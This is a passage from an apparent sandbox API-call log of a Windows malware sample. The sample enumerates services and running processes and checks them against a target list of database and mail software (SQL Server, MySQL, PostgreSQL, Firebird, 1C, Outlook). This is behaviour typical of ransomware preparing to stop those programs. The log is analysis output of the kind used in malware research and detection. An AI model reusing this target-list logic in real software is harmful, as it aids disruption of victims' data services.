(lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0038.117] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0038.117] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0038.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0038.117] lstrlenW (lpString="PcaSvc") returned 6 [0038.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0038.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0038.117] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0038.117] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0038.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0038.117] lstrlenW (lpString="PlugPlay") returned 8 [0038.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0038.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0038.117] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0038.117] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0038.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0038.117] lstrlenW (lpString="Power") returned 5 [0038.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0038.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0038.117] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0038.117] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0038.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0038.117] lstrlenW (lpString="ProfSvc") returned 7 [0038.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0038.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0038.117] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0038.117] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0038.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0038.118] lstrlenW (lpString="RpcEptMapper") returned 12 [0038.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0038.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0038.118] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0038.118] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0038.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0038.118] lstrlenW (lpString="RpcSs") returned 5 [0038.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0038.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0038.118] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0038.118] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0038.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0038.118] lstrlenW (lpString="SamSs") returned 5 [0038.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0038.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0038.118] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0038.118] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0038.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0038.118] lstrlenW (lpString="Schedule") returned 8 [0038.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0038.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0038.118] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0038.118] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0038.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0038.118] lstrlenW (lpString="SENS") returned 4 [0038.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0038.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0038.118] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0038.118] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0038.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0038.118] lstrlenW (lpString="ShellHWDetection") returned 16 [0038.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0038.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0038.119] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0038.119] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0038.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0038.119] lstrlenW (lpString="Spooler") returned 7 [0038.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0038.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0038.119] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0038.119] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0038.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0038.119] lstrlenW (lpString="SysMain") returned 7 [0038.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0038.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0038.119] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0038.119] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0038.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0038.119] lstrlenW (lpString="Themes") returned 6 [0038.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0038.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0038.119] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0038.119] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0038.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0038.119] lstrlenW (lpString="TrkWks") returned 6 [0038.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0038.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0038.119] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0038.119] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0038.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0038.119] lstrlenW (lpString="UxSms") returned 5 [0038.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0038.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0038.119] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0038.120] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0038.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0038.120] lstrlenW (lpString="WdiServiceHost") returned 14 [0038.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0038.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0038.120] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0038.120] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0038.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0038.120] lstrlenW (lpString="WdiSystemHost") returned 13 [0038.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0038.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0038.120] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0038.120] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0038.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0038.120] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0038.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0038.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0038.120] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0038.120] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0038.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0038.120] lstrlenW (lpString="Winmgmt") returned 7 [0038.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0038.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0038.120] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0038.120] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0038.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0038.120] lstrlenW (lpString="WPDBusEnum") returned 10 [0038.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0038.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0038.120] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0038.120] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0038.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0038.121] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6e1eb0 | out: hHeap=0x5f0000) returned 1 [0038.121] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0038.122] Process32FirstW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0038.123] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0038.124] lstrlenW (lpString="System") returned 6 [0038.124] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0038.124] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0038.124] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0038.124] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0038.124] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0038.124] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0038.124] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0038.124] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0038.125] lstrlenW (lpString="smss.exe") returned 8 [0038.125] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0038.125] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0038.125] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0038.125] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0038.125] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0038.125] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0038.125] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0038.125] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.125] lstrlenW (lpString="csrss.exe") returned 9 [0038.125] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0038.125] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0038.125] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0038.125] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0038.126] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0038.126] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0038.126] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0038.126] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0038.126] lstrlenW (lpString="wininit.exe") returned 11 [0038.126] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0038.126] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0038.126] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0038.126] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0038.126] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0038.126] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0038.126] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0038.126] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.127] lstrlenW (lpString="csrss.exe") returned 9 [0038.127] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0038.127] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0038.127] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0038.127] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0038.127] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0038.127] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0038.127] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0038.128] lstrlenW (lpString="winlogon.exe") returned 12 [0038.128] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0038.129] lstrlenW (lpString="services.exe") returned 12 [0038.129] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0038.129] lstrlenW (lpString="lsass.exe") returned 9 [0038.129] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0038.130] lstrlenW (lpString="lsm.exe") returned 7 [0038.130] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.131] lstrlenW (lpString="svchost.exe") returned 11 [0038.131] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.131] lstrlenW (lpString="svchost.exe") returned 11 [0038.131] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.132] lstrlenW (lpString="svchost.exe") returned 11 [0038.132] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.133] lstrlenW (lpString="svchost.exe") returned 11 [0038.133] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.133] lstrlenW (lpString="svchost.exe") returned 11 [0038.133] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0038.134] lstrlenW (lpString="audiodg.exe") returned 11 [0038.134] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.135] lstrlenW (lpString="svchost.exe") returned 11 [0038.135] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.135] lstrlenW (lpString="svchost.exe") returned 11 [0038.136] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0038.136] lstrlenW (lpString="dwm.exe") returned 7 [0038.136] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0038.137] lstrlenW (lpString="explorer.exe") returned 12 [0038.137] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0038.138] lstrlenW (lpString="spoolsv.exe") returned 11 [0038.138] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0038.138] lstrlenW (lpString="taskhost.exe") returned 12 [0038.138] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.139] lstrlenW (lpString="svchost.exe") returned 11 [0038.139] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0038.140] lstrlenW (lpString="taskeng.exe") returned 11 [0038.140] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0038.141] lstrlenW (lpString="taskhost.exe") returned 12 [0038.141] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0038.141] lstrlenW (lpString="obligations-breath.exe") returned 22 [0038.141] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0038.142] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0038.142] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0038.143] lstrlenW (lpString="achieving.exe") returned 13 [0038.143] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0038.144] lstrlenW (lpString="venice.exe") returned 10 [0038.144] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0038.144] lstrlenW (lpString="owns.exe") returned 8 [0038.144] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0038.145] lstrlenW (lpString="faster momentum.exe") returned 19 [0038.147] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0038.148] lstrlenW (lpString="vital_reasons.exe") returned 17 [0038.148] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0038.148] lstrlenW (lpString="everyone.exe") returned 12 [0038.148] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0038.149] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0038.149] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0038.150] lstrlenW (lpString="bored_excluded.exe") returned 18 [0038.150] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0038.150] lstrlenW (lpString="mothers.exe") returned 11 [0038.150] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0038.151] lstrlenW (lpString="career-fed.exe") returned 14 [0038.151] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, 